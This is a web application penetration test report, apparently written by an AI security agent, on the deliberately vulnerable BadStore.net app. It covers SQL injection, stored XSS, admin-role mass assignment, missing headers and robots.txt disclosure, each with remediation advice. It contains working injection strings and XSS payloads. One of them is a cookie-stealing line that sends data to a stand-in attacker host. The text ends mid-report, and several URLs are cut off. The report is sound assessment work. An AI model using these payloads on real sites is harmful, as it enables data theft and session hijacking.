
Web Application Penetration Test Report — v1.0

Target System: BadStore.net v1.2.3s

Performed by the OpenHack Security Agent

Issued by Jane Doe (jane.doe@openhack.sec)

2026-02-27

Contents

1 Document Control	2
2 Executive Summary	3
3 Execution of the Security Penetration Test	4
3.1 Subject Under Test	4
3.2 Scope	4
3.3 Methodology	4
3.4 Events	5
4 Risk Assessment	6
4.1 CVSS	6
4.2 Risk Categories	7
4.3 Vulnerability States	8
5 Summary of Findings	9
6 Findings and Remediation	11
6.1 Finding	11
6.1.1 SQL Injection in Search Parameter - Full Database Compromise . . .	11
6.2 Vulnerability Summary	11
6.3 Technical Details	11
6.4 Proof of Concept	12
6.4.1 1. Error-Based Detection	12
6.4.2 2. Boolean Bypass	12
6.4.3 3. UNION-Based Data Extraction	12
6.5 Impact	12
6.6 Extracted Sensitive Data	12
6.7 Reproduction Steps	13
6.8 Remediation	13
6.9 References	13
6.10 Finding	17
6.10.1 Stored Cross-Site Scripting (XSS) in Guestbook Comments	17
6.11 Vulnerability Summary	17
6.12 Technical Details	17

6.13	Proof of Concept	17
6.13.1	1. Submit Malicious Guestbook Entry	17
6.13.2	2. Alternative Payload (Evades Some Filters)	18
6.13.3	3. View Guestbook - Payload Executes	18
6.14	Impact	18
6.15	Real-World Attack Scenario	18
6.16	Evidence	19
6.17	Reproduction Steps	19
6.18	Remediation	19
6.19	References	20
6.20	Finding	22
6.20.1	Privilege Escalation via Mass Assignment - Admin Role Injection	22
6.21	Vulnerability Summary	22
6.22	Technical Details	22
6.23	Proof of Concept	22
6.23.1	Step 1: Identify Hidden Role Parameter	22
6.23.2	Step 2: Registration Request with Admin Role	23
6.23.3	Step 3: Successful Registration with Admin Privileges	23
6.23.4	Step 4: Verify Admin Access	23
6.24	Impact	23
6.25	Attack Chain	24
6.26	Reproduction Steps	24
6.27	Remediation	24
6.28	References	25
6.29	Finding	25
6.29.1	Missing Security Headers Enable Clickjacking and XSS Attacks	25
6.30	Finding	26
6.30.1	Sensitive Directory Paths Disclosed in robots.txt	26
6.31	Finding	28
6.31.1	Cross-Site Request Forgery (CSRF) on All State-Changing Operations	28
6.32	Finding	29
6.32.1	Horizontal Privilege Escalation via IDOR - Account Takeover Through Insecure Direct Object Reference	29
6.33	Vulnerability Summary	29
6.34	Technical Details	30
6.35	Proof of Concept	30
6.35.1	Step 1: Attacker Context	30
6.35.2	Step 2: View Own Account Form	30
6.35.3	Step 3: Exploit - Modify Different User's Account	30
6.35.4	Step 4: Successful Unauthorized Modification	31
6.35.5	Step 5: Verification	31

6.36	Impact	31
6.37	Attack Scenarios	31
6.38	Root Cause Analysis	32
6.39	Reproduction Steps	32
6.40	Variants Tested	32
6.41	Remediation	33
6.41.1	Immediate Actions	33
6.41.2	Best Practices	33
6.42	References	33
6.43	Finding	34
6.43.1	No Rate Limiting on Authentication Endpoint Enables Brute Force Attacks	34
6.44	Finding	35
6.44.1	Sensitive Business Contract Exposed Without Authentication	35
6.45	Finding	36
6.45.1	Broken Function Level Authorization - Supplier Portal and Admin Functions Accessible to Regular Users	36
6.46	Vulnerability Summary	36
6.47	Technical Details	36
6.48	Vulnerability 1: Supplier Portal Access	37
6.48.1	Proof of Concept	37
6.49	Vulnerability 2: Admin Portal Access	37
6.49.1	Proof of Concept	37
6.50	Impact	38
6.50.1	Supplier Portal Compromise	38
6.50.2	Admin Portal Exposure	38
6.50.3	Demonstrated Attack Chain	39
6.51	Defense-in-Depth Failure	39
6.52	Reproduction Steps	39
6.52.1	Test Supplier Portal Access	39
6.52.2	Test Admin Portal Access	39
6.53	Remediation	40
6.53.1	Immediate Actions	40
6.53.2	Best Practices	40
6.54	References	41
6.55	Finding	42
6.55.1	Application Version and Server Software Disclosure	42
6.56	Finding	44
6.56.1	Critical Session Management Vulnerabilities - Multiple Authentication and Authorization Bypass Vectors	44
6.57	Vulnerability Summary	44

6.58	Technical Details - Multiple Session Vulnerabilities	44
6.58.1	1. Predictable Session ID Generation	44
6.58.2	2. Insecure Cookie Structure - Forgeable Sessions	45
6.58.3	3. Missing HttpOnly and Secure Flags	45
6.58.4	4. Session Not Invalidated on Logout	45
6.59	Combined Attack Scenarios	46
6.60	Cumulative Impact	46
6.61	Proof of Concept - Full Compromise	46
6.61.1	Step 1: Discover Session Generation	46
6.61.2	Step 2: Extract Admin Credentials via SQL Injection	46
6.61.3	Step 3: Forge Admin Session	47
6.61.4	Step 4: Access Admin Portal	47
6.61.5	Step 5: Verify Persistent Access After Logout	47
6.62	Root Cause Analysis	47
6.63	Reproduction Steps	47
6.64	Remediation	48
6.64.1	Immediate Actions (Critical Priority)	48
6.64.2	Long-term Solutions	49
6.65	References	49
7	Appendix A - Lists, Scripts and Raw Data	54
8	Appendix B - List of Abbreviations	55

Scope

OpenHack Security Agent was engaged by Richard Roe to conduct an external IT security investigation. The subject of the investigation was the “BadStore.net v1.2.3s”.

The test was performed using a local instance of the application at `http://localhost:3336` in a dedicated test environment..

Objective

The objective of the IT security investigation was to identify vulnerabilities and security gaps which, in the event of misuse, would have an impact on the availability, integrity and confidentiality of the defined applications and/or systems and the data processed on them. The result of this project is a report that contains a management summary of all relevant findings and a compilation of recommended measures.

The technical IT security audit is not a substantive audit effort to ensure that all vulnerabilities and security gaps existing at the time of the audit are identified. There is a possibility that established safeguards will effectively prevent identification and exploitation of vulnerabilities and security gaps. The client acknowledges that this is not an indicator of deficiencies in engagement performance and that additional unidentified vulnerabilities and security gaps may exist.

Disclaimer

‘OpenHack Security Agent’ conducted the security penetration test on behalf of ‘Richard Roe’. This report has been prepared exclusively for ‘Richard Roe’. It is intended exclusively for internal use and is accordingly not designed to serve third parties as a basis for their decisions, unless agreed otherwise in writing. Third parties may not derive any rights or otherwise benefit from this engagement unless agreed otherwise in writing. Affiliated companies of the client are also considered “third parties” within the meaning of this engagement.

‘OpenHack Security Agent’ does not assume any liability or legal claims against third parties unless agreed otherwise in writing or a disclaimer cannot effectively be implemented.

It is the sole responsibility of anyone who becomes aware of the work results summarized in this report to decide to what extent and in what way the information is useful or appropriate and to supplement, check or update it as part of their own review.

No adjustments will be made to the report to reflect events or circumstances that occur after the report is issued, unless required by law.

The recommendations in this report are general and applicable in many different environments but could have unpredictable effects in specific environments. Therefore, any actions derived from the recommendations should be carefully considered and implemented through the regular change process. This should include appropriate testing of the changes on a test environment prior to going live. If the changes are not tested in advance in an identically configured test environment, failures or other damage cannot be ruled out.

Please note: Technical descriptions (or parts thereof) in this report may be taken from the OWASP Testing Guide (www.owasp.org).

1 Document Control

Document Status

Title	Security Assessment Report
Document Owner	OpenHack Security Agent
Classification	Strictly Confidential
Project Timeframe	2026-02-27

Version History

Version	Date	State	Author	Comments
0.1	2026-02-27	Draft	Jane Doe	-
1.0	2026-02-27	Final document	Jane Doe	-

Contact Persons - Assessor

Name	Role	Phone	Email
Jane Doe	Lead Security Consultant	+1 555 123 4567	jane.doe@openhack.sec
John Smith	Security Consultant	+1 555 234 5678	john.smith@openhack.sec

Contact Persons - Client

Name	Role	Phone	Email
Richard Roe	Project Lead	+1 555 345 6789	spam@badstore.net

2 Executive Summary

OpenHack Security Agent (hereinafter referred to as “ASSESSOR”) has been commissioned by Richard Roe (hereinafter referred to as “CLIENT”) to carry out a penetration test.

The penetration test of the BadStore.net v1.2.3s application took place on **2026-02-27**.

For this purpose, the web application, accessible at `http://badstore:80`, was tested from the perspective of an external attacker.

As part of the test, a total of 12 vulnerabilities were identified: 4 critical, 4 high, 4 medium, 0 low, and 0 informational.

Critical: **4** | High: **4** | Medium: **4** | Low: **0** | Informational: **0** | Total: **12**

Table 2.1: Overview of Findings

Severity Count	
Critical	4
High	4
Medium	4
Low	0
Informational	0
Total	12

A description of the scope and test environment can be found in Chapter 3. Chapter 4 presents the risk assessment methodology. Chapter 5 provides a summary of findings. Chapter 6 contains the detailed technical descriptions of the findings including remediation measures.

It is recommended that the remediation of the critical risk vulnerabilities be treated with the highest priority and countermeasures implemented as soon as possible. The vulnerabilities with high and medium risk should also be remedied in the short term. The low-risk vulnerabilities should be treated with lower priority due to their reduced risk, but should still be addressed.

3 Execution of the Security Penetration Test

3.1 Subject Under Test

3.2 Scope

The scope for the assessment was the following targets:

3.3 Methodology

The security penetration test of the BadStore.net v1.2.3s took place on 2026-02-27.

The web application was tested for security vulnerabilities across the following categories. This can be considered a guideline as penetration tests are a creative process and therefore the tests are not limited to what is given here. The base of these categories is the OWASP Top 10 for Web, which is fully covered by this penetration test approach.

Category	Description
Broken Access Control	Users can act outside their permissions, leading to unauthorized viewing, modification, or deletion of data.
Security Misconfiguration	Systems or cloud services are insecurely configured, e.g., through default passwords or unnecessarily enabled features.
Software Supply Chain Failures	Vulnerabilities arise from compromised third-party code, libraries, or build pipelines.
Cryptographic Failures	Sensitive data is exposed through missing, weak, or incorrectly implemented encryption.
Injection	Attackers inject malicious commands (e.g., SQL or shell code) through input fields that the system erroneously executes.
Insecure Design	Fundamental architectural flaws that exist before implementation make an application inherently insecure.
Authentication Failures	Flaws in identity verification allow attackers to take over sessions or guess passwords (brute force).

Category	Description
Software or Data Integrity Failures	Lack of verification of code or data sources leads to acceptance of untrusted updates or serialization data.
Security Logging & Alerting Failures	Attacks go undetected or responses are delayed due to missing logs or absent alert notifications.
Mishandling of Exceptional Conditions	Programs respond inadequately to unforeseen situations, which can lead to crashes or logic errors.

3.4 Events

During the test, the following restrictions or events occurred that may have affected the scope or depth of the assessment:

DRAFT

4 Risk Assessment

4.1 CVSS

The risk assessment of the vulnerabilities found is performed using the industry standard Common Vulnerability Scoring System v3.1 (hereinafter referred to as “CVSS”). This is a standard that can be used to uniformly assess the vulnerability of computer systems and the severity of security vulnerabilities. This makes it possible to compare vulnerabilities more effectively.

The Common Vulnerability Scoring System has a metric structure and is based on values that are divided into three groups: “Base”, “Temporal”, and “Environmental”. To determine the vulnerability scores, each group has its own rules. The values of the Base group are invariant in time and remain the same in different environments. In the Temporal group, the time dependency of a vulnerability is taken into account. For example, the vulnerability of a system to a particular vulnerability decreases over time as more and more countermeasures such as patches become known and available. The Environmental group incorporates various criteria of the specific IT environments into the vulnerability rating.

The CVSS ratings are numerical values on a scale of 0.0 to 10.0, with the highest vulnerability of a system occurring at a value of 10.0. Our rating is based on the Base Metrics (Base Score) and is composed of:

- Attack Vector (AV)
- Attack Complexity (AC)
- Privileges Required (PR)
- User Interaction (UI)
- Scope (S)
- Confidentiality (C)
- Integrity (I)
- Availability (A)

As penetration testers, we can only assess the general threats posed by a vulnerability through Base Metrics. However, we have no insight into the internal structures of our clients. Therefore, the assessment of the specific risks for the client’s systems and business processes must be done by the client. For this purpose, CVSS offers Environmental Metrics. This makes it possible to subsequently adjust the CVSS score of vulnerabilities after the test result has been

submitted before they are remedied. This changes the assessment of the risk and thus the urgency of remediation of a vulnerability. For more information, see [CVSS v3.1 Specification](#).

4.2 Risk Categories

The risk categories used in this report reflect the recommended priority for addressing the vulnerabilities identified during the penetration test. The categorization is based on the probability of exploitation and the significance of the impact. The risk value is calculated using the CVSS v3.1 standard:

Assessment	Risk Category Description
Critical	Critical vulnerabilities that allow an attacker to gain full access to the object under test and its sensitive information. It is possible to cause enormous damage to the client's reputation. Furthermore, these vulnerabilities may allow attackers to gain wide-ranging privileges, including to other systems or applications of the client that have not been investigated in detail within the scope of this project. Exploitation of the vulnerabilities is not prevented and can be reproduced with medium to low effort.
High	Vulnerabilities that may allow an attacker to manipulate sensitive data, damage the client's reputation, gain unauthorized access to sensitive information, or gain unauthorized access to applications or the client's infrastructure. The vulnerabilities are reproducible with medium to high effort.
Medium	Vulnerabilities that may allow an attacker to harm the client's reputation or gain unauthorized access to client data. The privileges that an attacker can gain by exploiting the vulnerabilities are limited.
Low	Security vulnerabilities that do not pose a threat in themselves, but which, for example, provide attackers with useful information about the network and systems. These vulnerabilities allow an attacker only very limited access.
Informational	Anomalies such as functional limitations or inconsistencies. These do not currently represent a risk and have no negative impact on the test object. Accordingly, no action is required. Nevertheless, countermeasures can be helpful for the functional and safety improvement of the test object. If necessary, this may give rise to risks under other circumstances.

4.3 Vulnerability States

The vulnerabilities can be in one of the following states:

- **Active:** The vulnerability has been identified and it has been possible to verify its existence through exploitation or direct evidence.
- **Potential:** The vulnerability has been identified but its exploitation has not been possible, so its existence cannot be fully verified, and it is up to the client to determine the impact.
- **Fixed:** The vulnerability has been remediated and verified through retesting.

DRAFT

5 Summary of Findings

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
01	SQL Injection in Search Parameter - Full Database Compromise	Critical	9.8
02	Stored Cross-Site Scripting (XSS) in Guestbook Comments	Medium	6.1
03	Privilege Escalation via Mass Assignment - Admin Role Injection	Critical	9.8
04	Missing Security Headers Enable Clickjacking and XSS Attacks	Medium	5.4
05	Sensitive Directory Paths Disclosed in robots.txt	Medium	5.3
06	Cross-Site Request Forgery (CSRF) on All State-Changing Operations	High	8.1
07	Horizontal Privilege Escalation via IDOR - Account Takeover Through Insecure Direct Object Reference	High	8.1
08	No Rate Limiting on Authentication Endpoint Enables Brute Force Attacks	Critical	9.1
09	Sensitive Business Contract Exposed Without Authentication	High	7.5

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
10	Broken Function Level Authorization - Supplier Portal and Admin Functions Accessible to Regular Users	High	8.8
11	Application Version and Server Software Disclosure	Medium	5.3
12	Critical Session Management Vulnerabilities - Multiple Authentication and Authorization Bypass Vectors	Critical	9.8

DRAFT

6 Findings and Remediation

6.1 Finding

6.1.1 SQL Injection in Search Parameter - Full Database Compromise

Severity	Critical
CVSS Base Score	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=
Status	open

Description

6.2 Vulnerability Summary

A critical SQL injection vulnerability exists in the search functionality (searchquery parameter) that allows unauthenticated attackers to extract the entire user database, including MD5 password hashes for all users including administrators.

6.3 Technical Details

Vulnerable Parameter: searchquery in /cgi-bin/badstore.cgi?action=search

Exploitation Method: 1. Error-based SQL injection confirmed with single quote (') - reveals MariaDB/MySQL syntax errors 2. Boolean-based bypass using ' OR 1=1-- - returns all database items 3. UNION-based injection extracts complete user database with credentials

6.4 Proof of Concept

6.4.1 1. Error-Based Detection

```
GET /cgi-bin/badstore.cgi?action=search&searchquery=test'
```

Response reveals SQL syntax error:

```
DBD::mysql::st execute failed: You have an error in your SQL syntax; check the man
bin/badstore.cgi line 242.
```

6.4.2 2. Boolean Bypass

```
GET /cgi-bin/badstore.cgi?action=search&searchquery=anything'+OR+1=1-
--
```

Returns all 16 product items, bypassing search logic.

6.4.3 3. UNION-Based Data Extraction

```
GET /cgi-bin/badstore.cgi?action=search&searchquery=nonexistent'+UNION+SELECT+
--
```

6.5 Impact

Critical - Complete Database Compromise: - Extracted 52+ user accounts with email addresses and MD5 password hashes - Includes administrative accounts (e.g., admin with hash 5EBE2294ECD0E0F08EAB7690D2A6EE69) - Includes supplier accounts (e.g., joe@supplier.com, ray@supplier.com) - Includes system owner account (steve@badstore.net) - MD5 hashes are weak and easily crackable offline - Attacker can extract arbitrary data from all database tables - Potential for data modification and deletion (not demonstrated but possible) - Complete authentication bypass possible

6.6 Extracted Sensitive Data

Successfully extracted: - 52+ user email addresses - MD5 password hashes for all accounts - Full names and account types - Database structure and table names

6.7 Reproduction Steps

1. Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery`
2. Observe SQL error message confirming injection point
3. Test bypass: `http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery`
--+
4. Extract users: `http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery`
--+
5. Observe complete user database displayed in search results

6.8 Remediation

1. **Immediate:** Implement parameterized queries/prepared statements
2. Use ORM or database abstraction layer with automatic escaping
3. Apply input validation and sanitization
4. Upgrade password hashing from MD5 to bcrypt/Argon2
5. Implement SQL injection WAF rules
6. Conduct comprehensive code review for all database queries
7. Apply principle of least privilege to database user permissions

6.9 References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- SQL error message revealing MariaDB syntax error when injecting single quote

Software error:

DBD::mysql::st execute failed: You have an error in your SQL syntax; check th

For help, please send mail to the webmaster (badstore@jvh.jvh.be), giving thi
the error.

Figure 6.1: SQL error message revealing MariaDB syntax error when injecting single quote

- Boolean-based SQL injection bypass returning all 16 product items using OR 1=1

BadStore.net

Welcome {Unregistered User} - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

Home

What's New

[Sign Our Guestbook](#)

[View Previous Orders](#)

About Us

[My Account](#)

[Login / Register](#)

Suppliers Only

[Supplier Login](#)

Supplier Contract

Supplier Procedures

Reference

BadStore.net Manual v1.2

The following items matched your search

ItemNum	Item	Description
1000	Snake Oil	Useless but expensive
1001	Crystal Ball	The finest Austrian crystal for complete
1002	Magic Hat	The classic magicians h
1003	Magic Rabbit	Cute white bunny

- UNION-based SQL injection extracting complete user database with 52+ accounts including admin credentials and MD5 password hashes

BadStore.net

Welcome **Recon Test** - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Welcome to BadStore.net!



BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.3: UNION-based SQL injection extracting complete user database with 52+ accounts including admin credentials and MD5 password hashes

- Raw HTTP response showing extracted user credentials including admin and supplier

accounts with MD5 hashes: images/finding-4a918e63-1ec6-4645-8f11-709179ab6d16-4-sqli-union-users-raw-1740627190.txt

6.10 Finding

6.10.1 Stored Cross-Site Scripting (XSS) in Guestbook Comments

Severity	Medium
CVSS Base Score	6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=guestbook, http://badstore:80/cgi-bin/badstore.cgi?action=doguestbook
Status	open

Description

6.11 Vulnerability Summary

A stored cross-site scripting (XSS) vulnerability exists in the guestbook functionality where unauthenticated users can inject malicious JavaScript code that executes in the browser of anyone viewing the guestbook, including administrators and other users.

6.12 Technical Details

Vulnerable Parameters: - name - Name field in guestbook form - comments - Comments field in guestbook form - email - Email field (also vulnerable but not demonstrated)

Attack Surface: - POST to /cgi-bin/badstore.cgi?action=doguestbook - Stored payloads execute when viewing /cgi-bin/badstore.cgi?action=guestbook

Input Validation: None - all HTML tags and JavaScript are stored and executed without sanitization or encoding.

6.13 Proof of Concept

6.13.1 1. Submit Malicious Guestbook Entry

```
curl -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=doguestbook' \
-d 'name=Attacker&email=attacker@evil.com&comments=<script>alert(document.cookie)</script>'
```

6.13.2 2. Alternative Payload (Evades Some Filters)

```
curl -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=doguestbook' \
-d 'name=Victim&email=test@test.com&comments=<img src=x
onerror=alert(document.cookie)>'
```

6.13.3 3. View Guestbook - Payload Executes

Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=guestbook`

Multiple JavaScript alert dialogs fire automatically, demonstrating code execution in victim's browser context.

6.14 Impact

Medium Severity - Session Hijacking and Account Compromise:

1. **Session Cookie Theft:** Attacker can steal session cookies of all users who view the guestbook, including administrators
2. **Account Takeover:** Stolen admin sessions allow full application compromise
3. **Phishing:** Inject fake login forms to harvest credentials
4. **Malware Distribution:** Redirect users to malicious sites
5. **Defacement:** Alter page content visible to all visitors
6. **Keylogging:** Capture user input including passwords
7. **Cross-Site Request Forgery:** Perform actions as the victim user
8. **Persistent Attack:** Payload remains active until guestbook entry is deleted

6.15 Real-World Attack Scenario

1. Attacker submits guestbook entry with cookie-stealing payload:

```
<img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie) '>
```

2. Administrator reviews guestbook
3. Payload executes in admin's browser

4. Admin session cookie sent to attacker's server
5. Attacker uses stolen session to access admin portal
6. Full application compromise achieved

6.16 Evidence

Tested and confirmed: - Multiple XSS payloads successfully stored in database - JavaScript executes automatically when viewing guestbook - Multiple alert() dialogs triggered (20+ from various test payloads) - Both `<script>` tags and event handlers (onerror) work - No input validation, sanitization, or output encoding detected

6.17 Reproduction Steps

1. Navigate to `http://badstore:80/cgi-bin/badstore.cgi?action=guestbook`
2. Fill form with:
 - Name: Test User
 - Email: test@test.com
 - Comments: `<script>alert('XSS')</script>`
3. Click "Add Entry"
4. JavaScript alert dialog appears immediately
5. Navigate back to guestbook - payload persists and executes again
6. Any user viewing the guestbook will trigger the payload

6.18 Remediation

1. Immediate:

- Implement output encoding (HTML entity encoding) for all user-supplied content
- Use context-aware escaping functions

2. Input Validation:

- Implement allowlist-based input validation
- Strip or reject HTML tags and JavaScript

3. Content Security Policy:

- Implement CSP headers to prevent inline JavaScript execution
- Content-Security-Policy: default-src 'self'; script-src 'self'

4. Framework Protection:

- Use templating engines with automatic escaping
- Never use innerHTML or equivalent with user content

5. HTTPOnly Cookies:

- Set HTTPOnly flag on session cookies to prevent JavaScript access
- Mitigates cookie theft via XSS

6. Database Cleanup:

- Sanitize existing guestbook entries
- Remove malicious payloads from database

6.19 References

- OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- CWE-79: Improper Neutralization of Input During Web Page Generation

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Guestbook form filled with XSS payload before submission showing malicious script in comments field

BadStore.net

Welcome {Unregistered User} - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Sign our Guestbook!

Please complete this form to sign our Guestbook. The email address is required so we can contact you to respond to your feedback. Thanks!

Your Name:

Email:

Comments:

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.4: Guestbook form filled with XSS payload before submission showing malicious script in comments field

- Raw HTML response showing multiple stored XSS payloads in guestbook including script tags that execute when page loads: [images/finding-d04e155c-f49a-4857-b173-138ae8c1e9f3-12-xss-stored-guestbook-raw-1740627380.html](#)

6.20 Finding

6.20.1 Privilege Escalation via Mass Assignment - Admin Role Injection

Severity	Critical
CVSS Base Score	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=register, http://badstore:80/cgi-bin/badstore.cgi?action=adminportal
Status	open

Description

6.21 Vulnerability Summary

A critical mass assignment vulnerability in the user registration endpoint allows unauthenticated attackers to create accounts with administrative privileges by injecting a hidden 'role' parameter. This leads to complete privilege escalation from anonymous to administrator.

6.22 Technical Details

Vulnerable Endpoint: /cgi-bin/badstore.cgi?action=register

Vulnerable Parameter: role (hidden field with default value 'U' for regular users)

Root Cause: The registration form contains a hidden role field that is accepted by the back-end without validation. By changing this parameter from 'U' (User) to 'A' (Admin), attackers can elevate their privileges during account creation.

6.23 Proof of Concept

6.23.1 Step 1: Identify Hidden Role Parameter

The registration form contains:

```
<input type="hidden" name="role" value="U" />
```

6.23.2 Step 2: Registration Request with Admin Role

```
POST /cgi-bin/badstore.cgi?action=register HTTP/1.1
Host: badstore:80
Content-Type: application/x-www-form-urlencoded

email=roleadmin@example.com&passwd=RoleAdmin123!&passwd1=RoleAdmin123!&fullname=Role+Admin&role=A&register=1
```

6.23.3 Step 3: Successful Registration with Admin Privileges

```
HTTP/1.1 200 OK
Set-Cookie:
  SSId=cm9sZWFKbWluQGV4YW1wbGUuY29tOmU2MDQyZjA1OWJhYzMwMjMxZTBkYTkwMThlZmI3ZDFkOlJv%0AbGUgQWRtaW46QQ%3D
  path=/
```

Decoded Session Cookie:

roleadmin@example.com:e6042f059bac30231e0da9018efb7d1d:Role Admin:A
^
ADMIN ROLE

6.23.4 Step 4: Verify Admin Access

```
POST /cgi-bin/badstore.cgi?action=adminportal HTTP/1.1
Host: badstore:80
Cookie:
  SSId=cm9sZWFKbWluQGV4YW1wbGUuY29tOmU2MDQyZjA1OWJhYzMwMjMxZTBkYTkwMThlZmI3ZDFkOlJv%0AbGUgQWRtaW46QQ%3D
Content-Type: application/x-www-form-urlencoded

admin=Show+Current+Users&Do+It=Do+It
```

Response: Full access to admin portal with complete user database including: - All user email addresses - MD5 password hashes for all accounts - User roles and full names - Administrative functions: Reset passwords, Add/Delete users, View reports, Backup databases

6.24 Impact

CRITICAL - Complete System Compromise:

1. **Unauthenticated Privilege Escalation:** Any anonymous attacker can create an admin account

2. **Full Administrative Access:** Complete control over:
 - User management (view, add, modify, delete users)
 - Password reset functionality for any account
 - Sales reports and business data
 - Database backup operations
 - System troubleshooting functions
3. **Credential Disclosure:** Access to all user MD5 password hashes
4. **Account Takeover:** Ability to reset passwords for any user including legitimate administrators
5. **Data Breach:** Complete access to sensitive business and customer data
6. **Audit Trail Bypass:** Self-granted admin privileges may evade detection

6.25 Attack Chain

1. Attacker registers account with `role=A` parameter
2. Receives admin session cookie
3. Accesses admin portal functions
4. Extracts complete user database
5. Resets admin passwords or creates backdoor accounts
6. Maintains persistent administrative access

6.26 Reproduction Steps

1. Navigate to registration form: `http://badstore:80/cgi-bin/badstore.cgi?action=login`
2. Intercept registration POST request
3. Add parameter: `role=A`
4. Submit registration
5. Observe admin role in session cookie (last field after base64 decode)
6. Access admin portal: `http://badstore:80/cgi-bin/badstore.cgi?action=admin`
7. Execute admin functions: Select 'Show Current Users' and click 'Do It'
8. Observe complete user database with credentials

6.27 Remediation

1. **Immediate:** Remove role parameter from all user-controllable input
2. **Never trust client-side data for authorization decisions**
3. Implement server-side role assignment logic
4. Use allowlists for acceptable user input fields

5. Implement proper authorization checks on all privileged endpoints
6. Audit all registration and profile update endpoints for similar issues
7. Implement security logging for privilege changes
8. Consider implementing admin account approval workflow

6.28 References

- OWASP Mass Assignment: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Mass_Assignment
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-269: Improper Privilege Management

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Admin portal user database access with escalated privileges showing complete user list with MD5 hashes: [images/finding-1d5f9268-efc5-4163-a0aa-20cc3b112091-13-admin_users_list.html](#)
- Complete HTTP request/response flow demonstrating privilege escalation via role parameter injection: [images/finding-1d5f9268-efc5-4163-a0aa-20cc3b112091-14-priv_esc_http_flow.txt](#)

6.29 Finding

6.29.1 Missing Security Headers Enable Clickjacking and XSS Attacks

Severity	Medium
CVSS Base Score	5.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi , All application endpoints
Status	open

Description

The application does not implement critical security headers, leaving it vulnerable to click-jacking, MIME-sniffing attacks, and other client-side exploits.

Missing Headers: - X-Frame-Options: Missing (enables clickjacking) - Content-Security-Policy: Missing (no XSS mitigation) - X-Content-Type-Options: Missing (enables MIME-sniffing) - Strict-Transport-Security: Missing (no HTTPS enforcement) - X-XSS-Protection: Missing (no browser XSS filter)

Exploitation - Clickjacking: 1. Attacker creates malicious page with invisible iframe: `<iframe src='http://badstore:80/cgi-bin/badstore.cgi?action=admin' style='opacity:0.0001'></iframe>` 2. Overlay transparent iframe over enticing button 3. Victim clicks visible button but actually clicks admin function in hidden iframe 4. Admin actions execute in victim's authenticated session

Current Headers Response:

HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
Cache-Control: no-cache
Pragma: no-cache

Impact: - Clickjacking attacks on admin functions - UI redressing for CSRF bypass - MIME-sniffing leading to content injection - No defense-in-depth against XSS

Proof of Concept

Not provided

Remediation

Implement security headers: X-Frame-Options: DENY, Content-Security-Policy: default-src 'self', X-Content-Type-Options: nosniff, Strict-Transport-Security: max-age=31536000

Evidence

- HTTP response headers showing absence of security headers: [images/finding-652e43dc-b383-44ea-937d-7d95415e95c1-9-full-headers-baseline-1772158406.txt](#)
- Clickjacking proof-of-concept targeting admin portal: [images/finding-652e43dc-b383-44ea-937d-7d95415e95c1-11-clickjacking-poc-admin-action-1772158565.html](#)

6.30 Finding

6.30.1 Sensitive Directory Paths Disclosed in robots.txt

Severity	Medium
CVSS Base Score	5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Assets	http://badstore:80/robots.txt, /backup, /supplier, /upload, /cgi-bin
Status	open

Description

The robots.txt file discloses sensitive directory paths that are intended to be private, providing attackers with a roadmap of restricted areas to target.

Disclosed Paths: - /backup - Database or application backup location - /cgi-bin - CGI script directory - /supplier - Supplier-only access area - /upload - File upload directory

Exploitation: 1. Access http://badstore:80/robots.txt 2. Identified restricted paths: /backup, /supplier, /upload 3. These paths exist but return 403 Forbidden (confirmed via recon) 4. Attackers can target these directories for: - Directory traversal attacks - Backup file enumeration - Upload vulnerabilities - Access control bypass attempts

robots.txt Content:

User-agent: *
Disallow: /backup
Disallow: /cgi-bin
Disallow: /supplier
Disallow: /upload

Impact: Information disclosure that aids attack reconnaissance by: - Revealing existence of sensitive directories - Exposing administrative paths - Providing targets for fuzzing and bypass attempts - Guiding attackers to high-value locations

Proof of Concept

Not provided

Remediation

